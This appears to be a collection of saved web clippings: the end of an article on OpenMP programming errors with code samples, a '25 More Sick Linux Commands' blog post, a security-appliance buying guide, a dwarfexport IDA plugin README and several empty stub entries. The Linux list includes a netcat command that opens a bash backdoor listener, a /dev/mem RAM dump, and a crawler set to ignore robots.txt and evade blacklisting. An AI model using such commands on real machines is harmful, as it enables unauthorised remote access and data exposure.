    #pragma omp atomic
a++;
}
#pragma omp critical
{
    cout << "a = " << a;
}
}
22. Incorrect worksharing with private variables
The error is similar to the previous one and opposite to the "Unnecessary parallelization" error. In this case, however, the error can be caused by another scenario.
Incorrectly:
int a;
#pragma omp parallel private(a)
{
    a = 0;
    #pragma omp barrier
    #pragma omp sections 
    {
          #pragma omp section
          {
                 #pragma omp atomic
                 a+=100;
           }
           #pragma omp section
           {
                 #pragma omp atomic
                 a+=1;
           }
    }
    #pragma omp critical
{
    cout << "a = " << a << endl;
}
}
In this case a developer wanted to increase the value of each local copy of the a variable by 101 and used the sections directive for this purpose. However, since the parallel keyword was not specified in the directive, no additional parallelization was made. The work was shared between the same threads. As the result, on a two-processor machine one thread will print "1" and the other one will print "100". If the number of threads is increased, the results will be even more unexpected. By the way, if the a variable is not declared as private, the code will become correct.
In the sample above it is necessary to perform additional code parallelization.
Correctly:
int a;
#pragma omp parallel private(a)
{
    a = 0;
    #pragma omp barrier
    #pragma omp parallel sections 
    {
           #pragma omp section
           {
                 #pragma omp atomic
                 a+=100;
           }
           #pragma omp section
           {
                 #pragma omp atomic
                 a+=1;
          }
    }
    #pragma omp critical
{
    cout<<"a = "<<a<<endl;
}
}
23. Careless usage of the lastprivate clause
OpenMP specification states that the value of a lastprivate variable from the sequentially last iteration of the associated loop, or the lexically last section directive is assigned to the variable's original object. If no value is assigned to the lastprivate variable during the corresponding parallel section, the original variable has indeterminate value after the parallel section. Let's consider an example similar to the previous one.
Incorrectly:
int a = 1;
#pragma omp parallel 
{
    #pragma omp sections lastprivate(a)
    {
           #pragma omp section
           {
                 ...
                 a = 10;
          }
          #pragma omp section
          {
                 ...
          }
    }
#pragma omp barrier
}
This code may potentially cause an error. We were unable to reproduce this in practice; however, it does not mean that the error will never occur.
If a developer really needs to use the lastprivate clause, he should know exactly what value would be assigned to the variable after a parallel section. In general case an error may occur if an unexpected value is assigned to the variable. For example, the developer may expect that the variable will get a value from the thread that finishes its execution last, but the variable will get a value from a lexically last thread. To solve this problem the developer should simply swap the sections' code.
Correctly:
int a = 1;
#pragma omp parallel 
{
    #pragma omp sections lastprivate(a)
    {
           #pragma omp section
           {
                 ...
           }
           #pragma omp section
           {
                 ...
                 a = 10;
           }
    }
#pragma omp barrier
}
24. Unexpected values of threadprivate variables in the beginning of parallel sections
This problem is described in the OpenMP specification [3]. If the value of a threadprivate variable is changed before a parallel section, the value of the variable in the beginning of the parallel section is indeterminate.
Unfortunately, the sample code provided in the specification, cannot be compiled in Visual Studio since the compiler does not support dynamic initialization of threadprivate variables. Therefore, we provide another, less complicated, example.
Incorrectly:
int a = 5;
#pragma omp threadprivate(a)
int _tmain(int argc, _TCHAR* argv[])
{
...
a = 10;
#pragma omp parallel num_threads(2)
{
    #pragma omp critical
    {
          printf("\nThread #%d: a = %d", omp_get_thread_num(),a);
    }
}
getchar();
return 0;
}
After the program execution one of the threads will print "5" and the other will print "10". If the a variable initialization is removed, the first thread will print "0" and the second one will print "10". One can get rid of the unexpected behavior only by removing the second assignment. In this case both threads will print "5" (in case the initialization code is not removed). Of course, such modifications will change the code's behavior. We describe them only to show OpenMP behavior in the two cases.
The resume is simple: never rely upon on your compiler when you need to initialize a local variable. For private and lastprivate variables an attempt to use uninitialized variables will cause a run-time error, which has already been described above. The error is at least easy to localize. The threadprivate directive, as you can see, may lead to unexpected results without any errors or warnings. We strongly recommend that you do not use this directive. In this case your code will become much more readable and the code's behavior will be easier to predict.
Correctly:
int a = 5;
int _tmain(int argc, _TCHAR* argv[])
{
...
a = 10;
#pragma omp parallel num_threads(2)
{
    int a = 10;
    #pragma omp barrier
    #pragma omp critical
    {
          printf("\nThread #%d: a = %d", omp_get_thread_num(),a);
    }
}
getchar();
return 0;
}
25. Some restrictions of private variables
The OpenMP specification provides multiple restrictions concerning private variables. Some of the restrictions are automatically checked by the compiler. Here is the list of restrictions which are not checked by the compiler:
· A private variable must not have a reference type.
· If a lastprivate variable is an instance of a class, the class should have a copy constructor defined.
· A firstprivate variable must not have a reference type.
· If a firstprivate variable is an instance of a class, the class should have a copy constructor defined.
· A threadprivate variable must not have a reference type.
In fact, all the restrictions result into two general rules: 1) a private variable must not have a reference type 2) if the variable is an instance of a class, the class should have a copy constructor defined. The causes of the restrictions are obvious.
If a private variable has a reference type, each thread will get a copy of this reference. As the result, both threads will work with shared memory via the reference.
The restriction, concerning the copy constructor, is quite obvious too: if a class contains a field which has a reference type, it will be impossible to copy an instance of this class memberwise correctly. As the result, both threads will work with shared memory, just like in the previous case.
An example demonstrating the problems is too large and is unlikely necessary. One should only remember a single common rule. If it is necessary to create a local copy of an object, an array or a memory fragment addressed via a pointer, the pointer should remain a shared variable. Declaring the variable as private is meaningless. The referenced data should be either copied explicitly or (when you're dealing with objects) entrusted to the compiler which uses the copy constructor.
26. Private variables are not marked as such
The error is described in the article [1]. The cause of the problem is that a variable which is supposed to be private was not marked as such and is used as a shared variable since this access mode is applied to all variables by default.
We recommend that you use the default(none) clause, which has already been mentioned above, to diagnose the error.
As you can see, the error is rather abstract and it is difficult to provide an example. However, the article [9] describes a situation in which the error occurs quite explicitly.
Incorrectly:
int _tmain(int argc, _TCHAR* argv[])
{
 const size_t arraySize = 100000;
 struct T {
   int a;
   size_t b;
 };
 T array[arraySize];
 {
   size_t i;
   #pragma omp parallel sections num_threads(2)
   {
     #pragma omp section
     {
       for (i = 0; i != arraySize; ++i)
         array[i].a = 1;
     }
     #pragma omp section
     {
       for (i = 0; i != arraySize; ++i)
         array[i].b = 2;
     }
   }
 }
 size_t i;
 for (i = 0; i != arraySize; ++i)
 {
   if (array[i].a != 1 || array[i].b != 2)
   {
     _tprintf(_T("OpenMP Error!\n"));
     break;
   }
 }
 if (i == arraySize)
   _tprintf(_T("OK!\n"));
    getchar();
    return 0;
}
The program's purpose is simple: an array of two-field structures is initialized from two threads. One thread assigns 1 to one of the fields and the other assigns 2 to the other field. After this operation the program checks whether the array was initialized successfully.
The cause of the error is that both threads use a shared loop variable. In some cases the program will print the "OpenMP Error!" string. In other cases an access violation will occur. And only in rare cases the "OK!" string will be printed. The problem can be easily solved by declaring the loop variable as local.
Correctly:
...
   #pragma omp parallel sections num_threads(2)
   {
     #pragma omp section
     {
       for (size_t i = 0; i != arraySize; ++i)
         array[i].a = 1;
     }
     #pragma omp section
     {
       for (size_t i = 0; i != arraySize; ++i)
         array[i].b = 2;
     }
   }
 }
...
The article [1] contains a similar example, concerning for loops (the example is considered as a separate error). The author states that loop variable of a for loop shared via the for OpenMP directive should be declared as local. The situation seems to be equal to the one described above at fist sight. However, it not true.
According to the OpenMP standard loop variables are converted to private implicitly in such cases, even if the variable is declared as shared. The compiler will report no warnings after performing this conversion. This is the case described in the article [1], and the conversion is performed in this case indeed. However, in our example the loop is shared between threads using the sections directive, not the for directive, and in this case the conversion is not performed.
The resume is quite obvious: loop variables must never be shared in parallel sections. Even if the loop is shared between threads via the for directive, you should not rely on implicit conversion in this case.
27. Parallel array processing without iteration ordering
Parallelized for loops execution was not ordered in all previous examples (except the one concerning the ordered directive syntax). The loops were not ordered because there was no need to do this. In some cases, however, the ordered directive is necessary. In particular, you need to use the directive if an iteration result depends on a previous iteration result (this situation is described in the article [6]). Let's consider an example.
Incorrectly:
int* arr = new int[10];
for(int i = 0; i < 10; i++)
    arr[i] = i;
#pragma omp parallel for
for (int i = 1; i < 10; i++)
    arr[i] = arr[i - 1];
for(int i = 0; i < 10; i++)
    printf("\narr[%d] = %d", i, arr[i]);
In theory the program should have printed a sequence of zeros. However, on a two-processor machine the program will print a number of zeros along with a number of fives. This behavior is caused by the fact that iterations are usually split equally between the threads by default. The problem can be easily solved using the ordered directive.
Correctly:
int* arr = new int[10];
for(int i = 0; i < 10; i++)
    arr[i] = i;
#pragma omp parallel for ordered
for (int i = 1; i < 10; i++)
{
    #pragma omp ordered
    arr[i] = arr[i - 1];
}
for(int i = 0; i < 10; i++)
    printf("\narr[%d] = %d", i, arr[i]);
Performance errors
1. Unnecessary flush directive
All errors considered above affected the analyzed programs' logic and were critical. Now, let us consider errors which only affect a program's performance without affecting the program's logic. The errors are described in the article [1].As we have already mentioned above, the flush directive is often implied. Therefore, explicit flush directive in these cases is unnecessary. Unnecessary flush directive, especially the one used without parameters (in this case all shared memory is synchronized), can significantly slow down a program's execution.Here are the cases in which the directive is implied and there is no need to use it:The barrier directive
· At entry to and at exit from critical
· At entry to and at exit from ordered
· At entry to and at exit from parallel
· At exit from for
· At exit from sections
· At exit from single
· At entry to and at exit from parallel for
· At entry to and at exit from parallel sections
2. Using critical sections or locks instead of the atomic directive
The atomic directive works faster than critical sections, since many atomic operations can be replaced with processor commands. Therefore, it is more preferable to apply this directive when you need to protect shared memory during elementary operations. According to the OpenMP specification, the directive can be applied to the following operations:x binop= exprx++++xx----xHere x is a scalar variable, expr is a scalar statement which does not involve the x variable, binop is +, *, -, /, &, ^, |, <<, or >> operator which was not overloaded. In all other cases the atomic directive cannot be used (this condition is checked by the compiler).
Here is a list of shared memory protection means sorted by performance in descending order: atomic, critical, omp_set_lock.
3. Unnecessary concurrent memory writing protection
Any protection slows down the program's execution and it does not matter whether you use atomic operations, critical sections or locks. Therefore, you should not use memory protection when it is not necessary.
A variable should not be protected from concurrent writing in the following cases:
· If a variable is local for a thread (also, if the variable is threadprivate, firstprivate, private or lastprivate).
· If the variable is accessed in a code fragment which is guaranteed to be executed by a single thread only (in a master or single section).
4. Too much work in a critical section
Critical sections always slow down a program's execution. Firstly, threads have to wait for each other because of critical sections, and this decreases the performance increase you gain using code parallelization. Secondly, entering and leaving a critical section takes some time.
Therefore, you should not use critical sections where it is not necessary. We do not recommend that you place complex functions' calls into critical sections. Also, we do not recommend putting code which does not work with shared variables, objects or resources in critical sections. It is rather difficult to give exact recommendations on how to avoid the error. A developer should decide whether a code fragment should be put into critical section in every particular case.
5. Too many entries to critical sections
As we have already mentioned in the previous error description, entering and leaving a critical section takes some time. Therefore, if the operations are performed too often, this may decrease a program's performance. We recommend that you decrease the number of entries to critical sections as much as possible. Let's consider a slightly modified example from the article [1].
Incorrectly:
#pragma omp parallel for
for ( i = 0 ; i < N; ++i ) 
{ 
    #pragma omp critical
    {
          if (arr[i] > max) max = arr[i];
    } 
}
If the comparison is performed before the critical section, the critical section will not be entered during all iterations of the loop.
Correctly:
#pragma omp parallel for
for ( i = 0 ; i < N; ++i ) 
{ 
    #pragma omp flush(max)
    if (arr[i] > max)
    {
          #pragma omp critical
          {
                if (arr[i] > max) max = arr[i];
          }
    }
}
Such a simple correction may allow you to increase your code's performance significantly and you should not disregard this advice.
Conclusion
This paper provides the most complete list of possible OpenMP errors, at least at the moment the paper was written. The data provided in this article were collected from various sources as long as from authors' practice. Please note that all the errors are not diagnosed by standard compilers. Now, let us provide a short description of all the errors with the corresponding conclusions.
Error
Conclusion
1. Missing /openmp compiler option
You should enable the option at the moment you create your project.
2. Missing parallel keyword
You should be accurate about the syntax of the directives you use.
3. Missing omp keyword
You should be accurate about the syntax of the directives you use.
4. Missing for keyword
You should be accurate about the syntax of the directives you use.
5. Unnecessary parallelization
You should be accurate about the syntax of the directives you use and understand their meaning.
6. Incorrect usage of the ordered clause
It is necessary to watch over the syntax of the directives you use.
7. Redefining the number of threads in a parallel section
The number of threads cannot be changed in a parallel section.
8. Using a lock variable without initializing the variable
A lock variable must be initialized via the omp_init_lock function call.
9. Unsetting a lock from another thread
If a thread uses locks, both the lock (omp_set_lock, omp_test_lock) and unlock (omp_unset_lock) functions must be called by this thread.
10. Using a lock as a barrier
If a thread uses locks, both the lock (omp_set_lock, omp_test_lock) and unlock (omp_unset_lock) functions must be called by this thread.
11. Threads number dependency
Your code's behavior must not depend on the number of threads which execute the code.
12. Incorrect usage of dynamic threads creation
If you really need to make your code's behavior depend on the number of threads, you must make sure that the code will be executed by the needed number of threads (dynamic threads creation must be disabled). We do not recommend using dynamic threads creation.
13. Concurrent usage of a shared resource
Concurrent shared resource access must be protected by a critical section or a lock.
14. Shared memory access unprotected
Concurrent shared memory access must be protected as an atomic operation (the most preferable option), critical section or a lock.
15. Using the flush directive with a reference type
Applying the flush directive to a pointer is meaningless since only the variable's value (a memory address, not the addressed memory) is synchronized in this case.
16. Missing flush directive
Missing flush directive may cause incorrect memory read/write operations.
17. Missing synchronization
Missing synchronization may also cause incorrect memory read/write operations.
18. An external variable is specified as threadprivate not in all units
If a threadprivate variable is an external variable, it must be declared as threadprivate in all the units, which use the variable. We recommend that you do not use the threadprivate directive and the private, firstprivate, lastprivate clauses. We recommend that you declare local variables in parallel sections and perform first/last assignment operations (if they are necessary) with a shared variable.
19. Uninitialized private variables
All private and lastprivate variables are uninitialized by default. You cannot use the variables until you initialize them. We recommend that you do not use the threadprivate directive and the private, firstprivate, lastprivate clauses. We recommend that you declare local variables in parallel sections and perform first/last assignment operations (if they are necessary) with a shared variable.
20. Forgotten threadprivate directive
A forgotten threadprivate directive may affect an entire unit's behavior. We recommend that you do not use the threadprivate directive and the private, firstprivate, lastprivate clauses. We recommend that you declare local variables in parallel sections and perform first/last assignment operations (if they are necessary) with a shared variable.
21. Forgotten private clause
You must control access modes of your variables. We recommend that developers who are new to OpenMP use the default(none) clause so that they will have to specify access modes explicitly. We recommend that you do not use the threadprivate directive and the private, firstprivate, lastprivate clauses. We recommend that you declare local variables in parallel sections and perform first/last assignment operations (if they are necessary) with a shared variable.
22. Incorrect worksharing with private variables
If you parallelize a code fragment which works with private variables using the threads in which the variables were created different threads will get different values of the variables.
23. Careless usage of the lastprivate clause
If you are using the lastprivate clause, you must know exactly what value will be assigned to the variable after the parallel section. We recommend that you do not use the threadprivate directive and the private, firstprivate, lastprivate clauses. We recommend that you declare local variables in parallel sections and perform first/last assignment operations (if they are necessary) with a shared variable.
24. Unexpected values of threadprivate variables in the beginning of parallel sections
A threadprivate variable's value is unpredictable in the beginning of a parallel section, especially if a value was assigned to the variable before the parallel section. We recommend that you do not use the threadprivate directive and the private, firstprivate, lastprivate clauses. We recommend that you declare local variables in parallel sections and perform first/last assignment operations (if they are necessary) with a shared variable.
25. Some restrictions of private variables
Private variables must not have reference type, since it will cause concurrent shared memory access. Although the variables will be private, the variables will still address the same memory fragment. Class instances declared as private must have explicit copy constructor, since an instance containing references will be copied incorrectly otherwise.
26. Private variables are not marked as such
You must control access modes of your variables. We recommend that developers who are new to OpenMP use the default(none) clause so that they will have to specify access modes explicitly. In particular, loop variables must always be declared as private or local variables.
27. Parallel array processing without iteration ordering
If an iteration execution depends on the result of a previous iteration, you must use the ordered directive to enable iterations ordering.
1. Unnecessary flush directive
There is no need to use the flush directive in the cases when the directive is implied.
2. Using critical sections or locks instead of the atomic directive
We recommend that you use the atomic directive to protect elementary operations when it is possible, since using locks or critical sections slows down you program's execution.
3. Unnecessary concurrent memory writing protection
There is no need protect private or local variables. Also, there is no need to protect a code fragment which is executed by a single thread only.
4. Too much work in a critical section
Critical sections should contain as little work as possible. You should not put a code fragment which does not work with shared memory into a critical section. Also we do not recommend putting a complex function calls into a critical section.
5. Too many entries to critical sections
We recommend that you decrease the number of entries to and exits from critical sections. For example, if a critical section contains a conditional statement, you can place the statement before the critical section so that the critical section is entered only if the condition is true.
Table 1 - A short list of OpenMP errors.
All the errors can be divided into three general categories:
· Ignorance of the OpenMP syntax.
· Misunderstanding of the OpenMP principles.
· Incorrect memory processing (unprotected shared memory access, lack of synchronization, incorrect variables' access mode, etc.).
Of course, the errors list provided in this paper is not complete. There are many other errors which were not considered here. It is possible that more complete lists will be provided in new articles on this topic.
Most of the errors can be diagnosed automatically by a static analyzer. Some (only a few) of them can be detected by Intel Thread Checker. Also, some errors are detected by compilers other than the one used in Visual Studio. However, a specialized tool for detecting such errors has not been created yet. In particular, Intel Thread Checker detects concurrent shared memory access, incorrect usage of the ordered directive and missing for keyword in the #pragma omp parallel for directive [1].
A program for visual representation of code parallelization and access modes could also be useful for developers and has not been created yet.
The authors start working on the VivaMP static analyzer at the moment. The analyzer will diagnose the errors listed above and, maybe, some other errors. The analyzer will significantly simplify errors detection in parallel programs (note that almost all such errors cannot be stably reproduced). Additional information on the VivaMP project can be found on the project page. 
References
1. Michael Suess, Claudia Leopold, Common Mistakes in OpenMP and How To Avoid Them - A Collection of Best Practices, http://www.viva64.com/go.php?url=100
2. OpenMP Quick Reference Sheet, http://www.viva64.com/go.php?url=101
3. OpenMP C and C++ Application Program Interface specification, version 2.0, http://www.viva64.com/go.php?url=102
4. Yuan Lin, Common Mistakes in Using OpenMP 1: Incorrect Directive Format, http://www.viva64.com/go.php?url=103
5. Richard Gerber, Advanced OpenMP Programming, http://www.viva64.com/go.php?url=104
6. Kang Su Gatlin and Pete Isensee. Reap the Benefits of Multithreading without All the Work, http://www.viva64.com/go.php?url=105
7. Yuan Lin, Common Mistakes in Using OpenMP 5: Assuming Non-existing Synchronization Before Entering Worksharing Construct, http://www.viva64.com/go.php?url=106
8. MSDN Library article on 'threadprivate' OpenMP directive, http://www.viva64.com/go.php?url=107
9. Andrey Karpov, Evgeniy Ryzhkov, Adaptation of the technology of the static code analyzer for developing parallel programs. http://www.viva64.com/en/a/0019/.

﻿http://blog.urfix.com/25-sick-linux-commands/ 
25 More – Sick Linux Commands
Created:
12/12/2010 12:47:52 PM
Updated:
12/12/2010 12:49:38 PM
Author:

Tags:
Linux commandline-kungfu


25 More – Sick Linux Commands
Friday, December 3, 2010








You Might remember  my post 25 best Linux commands Think of this as part two. here is another list of really useful commands that you might find handy.

1) Like top, but for files
watch -d -n 2 ‘df; ls -FlAt;’
2) Download an entire website
wget –random-wait -r -p -e robots=off -U mozilla http://www.example.com
-p parameter tells wget to include all files, including images.
-e robots=off you don’t want wget to obey by the robots.txt file
-U mozilla as your browsers identity.
–random-wait to let wget chose a random number of seconds to wait, avoid get into black list.
Other Useful wget Parameters:
–limit-rate=20k limits the rate at which it downloads files.
-b continues wget after logging out.
-o $HOME/wget_log.txt logs the output
3) List the size (in human readable form) of all sub folders from the current location
du -h –max-depth=1
4) A very simple and useful stopwatch
time read (ctrl-d to stop)
time read -sn1 (s:silent, n:number of characters. Press any character to stop)
5) Quick access to the ascii table.
man ascii
6) Shutdown a Windows machine from Linux
net rpc shutdown -I ipAddressOfWindowsPC -U username%password
This will issue a shutdown command to the Windows machine. username must be an administrator on the Windows machine. Requires samba-common package installed. Other relevant commands are:
net rpc shutdown -r : reboot the Windows machine
net rpc abortshutdown : abort shutdown of the Windows machine
Type:
net rpc
to show all relevant commands
7) Jump to a directory, execute a command and jump back to current dir
(cd /tmp && ls)
8) Display the top ten running processes – sorted by memory usage
ps aux | sort -nk +4 | tail
ps returns all running processes which are then sorted by the 4th field in numerical order and the top 10 are sent to STDOUT.
9) List of commands you use most often
history | awk ‘{a[$2]++}END{for(i in a){print a[i] ” ” i}}’ | sort -rn | head
10) Reboot machine when everything is hanging (raising a skinny elephant)
<alt> + <print screen/sys rq> + <R> – <S> – <E> – <I> – <U> – <B>
If the machine is hanging and the only help would be the power button, this key-combination will help to reboot your machine (more or less) gracefully.
R – gives back control of the keyboard
S – issues a sync
E – sends all processes but init the term singal
I – sends all processes but init the kill signal
U – mounts all filesystem ro to prevent a fsck at reboot
B – reboots the system
Save your file before trying this out, this will reboot your machine without warning!
http://en.wikipedia.org/wiki/Magic_SysRq_key
11) Make ‘less’ behave like ‘tail -f’
less +F somelogfile
Using +F will put less in follow mode. This works similar to ‘tail -f’. To stop scrolling, use the interrupt. Then you’ll get the normal benefits of less (scroll, etc.).
Pressing SHIFT-F will resume the ‘tailling’.
12) Set audible alarm when an IP address comes online
ping -i 60 -a IP_address
Waiting for your server to finish rebooting? Issue the command above and you will hear a beep when it comes online. The -i 60 flag tells ping to wait for 60 seconds between ping, putting less strain on your system. Vary it to your need. The -a flag tells ping to include an audible bell in the output when a package is received (that is, when your server comes online).
13) Backticks are evil
echo “The date is: $(date +%D)”
This is a simple example of using proper command nesting using $() over “. There are a number of advantages of $() over backticks. First, they can be easily nested without escapes:
program1 $(program2 $(program3 $(program4)))versus
program1 `program2 \`program3 \`program4\`\``Second, they’re easier to read, then trying to decipher the difference between the backtick and the singlequote: `’. The only drawback $() suffers from is lack of total portability. If your script must be portable to the archaic Bourne shell, or old versions of the C-shell or Korn shell, then backticks are appropriate, otherwise, we should all get into the habit of $(). Your future script maintainers will thank you for producing cleaner code.
14) Simulate typing
echo “You can simulate on-screen typing just like in the movies” | pv -qL 10
This will output the characters at 10 per second.
15) python smtp server
python -m smtpd -n -c DebuggingServer localhost:1025
This command will start a simple SMTP server listening on port 1025 of localhost. This server simply prints to standard output all email headers and the email body.
16) Watch Network Service Activity in Real-time
lsof -i
17) diff two unsorted files without creating temporary files
diff <(sort file1) <(sort file2)
bash/ksh subshell redirection (as file descriptors) used as input to diff
18) Rip audio from a video file.
mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile <output-file> <input-file>
replace accordingly
19) Matrix Style
tr -c “[:digit:]” ” ” < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR=”1;32′′ grep –color “[^ ]“
20) This command will show you all the string (plain text) values in ram
sudo dd if=/dev/mem | cat | strings
A fun thing to do with ram is actually open it up and take a peek.
21) Display which distro is installed
cat /etc/issue
22) Easily search running processes (alias).
alias ‘ps?’='ps ax | grep ‘
23) Create a script of the last executed command
echo “!!” > foo.sh
Sometimes commands are long, but useful, so it’s helpful to be able to make them permanent without having to retype them. An alternative could use the history command, and a cut/sed line that works on your platform.
history -1 | cut -c 7- > foo.sh
24) Extract tarball from internet without local saving
wget -qO – “http://www.tarball.com/tarball.gz” | tar zxvf -
25) Create a backdoor on a machine to allow remote connection to bash
nc -vv -l -p 1234 -e /bin/bash
This will launch a listener on the machine that will wait for a connection on port 1234. When you connect from a remote machine with something like :
nc 192.168.0.1 1234
You will have console access to the machine through bash. (becareful with this one)
﻿http://addxorrol.blogspot.com/2015/12/a-decisionmakers-guide-to-buying.html 
ADD / XOR / ROL: A decisionmaker's guide to buying security appliances and gateways
Created:
3/25/2016 6:59:54 PM
Updated:
3/25/2016 6:59:54 PM
Author:

Tags:



A decisionmaker's guide to buying security appliances and gateways 
With the prevalence of targeted "APT-style" attacks and the business risks of data breaches reaching the board level, the market for "security appliances" is as hot as it has ever been. Many organisations feel the need to beef up their security - and vendors of security appliances offer a plethora of content-inspection / email-security / anti-APT appliances, along with glossy marketing brochures full of impressive-sounding claims.

Decisionmakers often compare the offerings on criteria such as easy integration with existing systems, manageability, false-positive-rate etc. Unfortunately, they often don't have enough data to answer the question "will installing this appliance make my network more or less secure?".

Most security appliances are Linux-based, and use a rather large number of open-source libraries to parse the untrusted data stream which they are inspecting. These libraries, along with the proprietary code by the vendor, form the "attack surface" of the appliance, e.g. the code that is exposed to an outside attacker looking to attack the appliance. All security appliances require a privileged position on the network - a position where all or most incoming and outgoing traffic can be seen. This means that vulnerabilities within security appliances give an attacker a particularly privileged position - and implies that the security of the appliance itself is rather important.

Installing an insecure appliance will make your network less secure instead of safer. If best engineering practices are not followed by the vendor, a mistake in any of the libraries parsing the incoming data will compromise the entire appliance.

How can you decide whether an appliance is secure or not? Performing an in-depth third-party security assessment of the appliance may be impractical for financial, legal, and organisational reasons.

Five questions to ask the vendor of a security appliance

In the absence of such an assessment, there are a few questions you should ask the vendor prior to making a purchasing decision:

1. What third-party libraries interact directly with the incoming data, and what are the processes to react to security issues published in these libraries?
2. Are all these third-party libraries sandboxed in a sandbox that is recognized as industry-standard? The sandbox Google uses in Chrome and Adobe uses in Acrobat Reader is open-source and has undergone a lot of scrutiny, so have the isolation features of KVM and qemu. Are any third-party libraries running outside of a sandbox or an internal virtualization environment? If so, why, and what is the timeline to address this?
3. How much of the proprietary code which directly interacts with the incoming data runs outside of a sandbox? To what extent has this code been security-reviewed?
4. Is the vendor willing to provide a hard disk image for a basic assessment by a third-party security consultancy? Misconfigured permissions that allow privilege escalation happen all-too often, so basic permissions lockdown should have happened on the appliance.
5. In the case of a breach in your company, what is the process through which your forensics team can acquire memory images and hard disk images from the appliance?
A vendor that takes their product quality (and hence your data security) seriously will be able to answer these questions, and will be able to confidently state that all third-party parsers and a large fraction of their proprietary code runs sandboxed or virtualized, and that the configuration of the machine has been reasonably locked down - and will be willing to provide evidence for this (for example a disk image or virtual appliance along with permission to inspect).
Why am I qualified to write this?
From 2004 to 2011 I was CEO of a security company called zynamics that was acquired by Google in 2011. Among other things, we used to sell a security appliance that inspected untrusted malware. I know the technical side involved with building such an appliance, and I understand the business needs of both customers and vendors. I also know quite a bit about the process of finding and exploiting vulnerabilities, having worked in that area since 2000.
Our appliance at the time was Debian-based - and the complex processing of incoming malware happened inside either memory-safe languages or inside a locked-down virtualized environment (emulator), inside a reasonably locked-down Linux machine. This does not mean that we never had security issues (we had XSS problems at one point where strings extracted from the malware could be used to inject into the Web UI etc.) - but we made a reasonable effort to adhere to best engineering practices available to keep the box secure. Security problems happen, but mitigating their impact is not rocket science - good, robust, and free software exists that can sandbox code, and the engineering effort to implement such mitigations is not excessive.
Bonus questions for particularly good vendors
If your vendor can answer the 5 questions above in a satisfactory way, his performance is already head-and-shoulders above the industry average. If you wish to further encourage the vendor to be proactive about your data security, you can ask the following "bonus questions":
1. Has the vendor considered moving the Linux on their appliance to GRSec in order to make privilege escalations harder?
2. Does the vendor publish hashes of the packages they install on the appliance so in case of a forensic investigation it is easy to verify that the attacker has not replaced some?
Posted by halvar.flake at 7:28 AM 


﻿https://github.com/ALSchwalm/dwarfexport 
ALSchwalm/dwarfexport
Created:
6/29/2017 4:12:52 PM
Updated:
6/29/2017 4:12:52 PM
Author:

Tags:
iDA




dwarfexport
 dwarfexport  is an IDA Pro plugin that allows the user to export  dwarf  debug information. This can then be imported in to gdb and other tools, allowing you to debug using info you have recovered in IDA even when you cannot connect the IDA debugger.
Usage
Pre-compiled copies of  dwarfexport  are available in the  bin  folder of this project. Just add these files to your IDA  plugins  folder (plx and plx64 for linux, plw and p64 for windows) and you will have a new option "Edit->Plugins->Export Dwarf Debug Info". Click this and select a folder for the output.
The plugin will generate two files in the output directory. One will be a  .c  file with the decompiled functions from the Hexrays decompiler. The other is a  .dbg  file that contains the debug information. Note that because the plugin performs decompilation on every function in the binary, it can take a while to run.
Move these to the device you want to debug on and load gdb (e.x,  gdb a.out ). You will have full debug information, like normal gdb with source (shown below using TUI mode):

Note: You may need to run  list  to get the source file loaded.
Options
The following options are available from the plugin GUI
 Use Decompiler : On architectures where the decompiler is available, opt out of using it.
 Attach Debug Info : When checked, a  .dbg  file is created with the debug information. However, this will only work if the target is an ELF file. When the target is not an ELF file, uncheck this option to create a group of binary files (one for reach ELF section that would have been created).
Building On Linux
 dwarfexport  depends on the IDA SDK as well as a  libdwarf . Once you have these available (a statically compiled copy of  libdwarf  is provided), you can set the environment variables IDASDK_PATH and IDA_PATH to the SDK path and your IDA folder location respectively. Then build the plugin using  make .
Building On Windows
No instructions are currently provided. I'm using a series of hacks that I will clean up and document at some point.
Building on macOS
To build dwarfexport on macOS, you must build and install 32-bit versions of libelf and libdwarf.
# Download, build, and install libelf (it's a libdwarf prereq)
$ mkdir -p thirdparty
$ pushd thirdparty
$ wget http://www.mr511.de/software/libelf-0.8.13.tar.gz
$ tar zxf libelf-0.8.13.tar.gz
$ pushd libelf-0.8.13
$ CFLAGS=-m32 CXXFLAGS=-m32 ./configure
$ make && make install
$ popd

# Clone, build, and install libdwarf
$ git clone git@github.com:tomhughes/libdwarf.git
$ pushd libdwarf/
$ CFLAGS=-m32 CXXFLAGS=-m32 ./configure
$ make && make install
$ popd
$ popd

# Build dwarfexport for macos
$ IDA_PATH="/Applications/IDA\ Pro\ 6.95/idaq.app/Contents/MacOS/" IDASDK_PATH="<PATH TO IDASDK>" make -f Makefile.osx
Adding Support for Other Architectures
There are three functions that need to be modified to add support for a new architectures. They are all located in  platform.cpp :
 translate_register_num : Translates from IDA register numbers to DWARF numbers. The IDA register numbering can be found by running  idaapi.ph_get_regnames() . The index of a register in the returned list is its 'IDA register number'. A variety of resources exist to find the DWARF mapping for a given architecture. For example, wine has the numbers for some architectures (see  x86_64_map_dwarf_register ).
 disassembler_lvar_reg_and_offset : This function should set the  reg  and  offset  parameters to a dwarf register and the offset from that register that should be used to read from a stack variable 'member'. So  reg  will typically be a register containing a pointer to the top or bottom of the stack (so  DW_OP_breg5  is register 5 which is EBP on x86), and the offset will then be the offset from the bottom or top of the stack.
 decompiler_lvar_reg_and_offset : On architectures supporting the decompiler, this function should be modified to perform the same work as the above function, but with a  lvar_t  from the Hexrays decompiler. Note that it may be acceptable to reuse the disassembler logic.
License
 dwarfexport  is licensed under the terms of the LGPLv2.1. See the LICENSE file for details.

﻿http://www.h-online.com/security/features/A-Heap-of-Risk-747161.html 
A Heap of Risk - The H Security: News and Features
Created:
3/24/2010 10:10:16 AM
Updated:
3/24/2010 10:10:19 AM
Author:

Tags:
bookmark


A heap of risk
﻿http://sharepoint/Info/Startseite/Lists/00_Neuigkeiten/DispForm.aspx?ID=101&Source=http://sharepoint/Info/Startseite/Startseite/Startseite.aspx 
00_Neuigkeiten - UN-Info: Jahresrückblick 2012/13, Bereich...
Created:
4/24/2013 12:32:04 PM
Updated:
4/24/2013 12:32:04 PM
Author:

Tags:


http://sharepoint/Info/Startseite/Lists/00_Neuigkeiten/DispForm.aspx?ID=101&Source=http://sharepoint/Info/Startseite/Startseite/Startseite.aspx
﻿http://hiddenillusion.blogspot.ca/2013/12/analyzepdf-bringing-dirt-up-to-surface.html 
:: hiddenillusion ::: AnalyzePDF - Bringing the Dirt Up to the Surface
Created:
12/8/2013 6:42:37 PM
Updated:
12/8/2013 6:42:37 PM
Author:

Tags:
Malware-analysis pdf


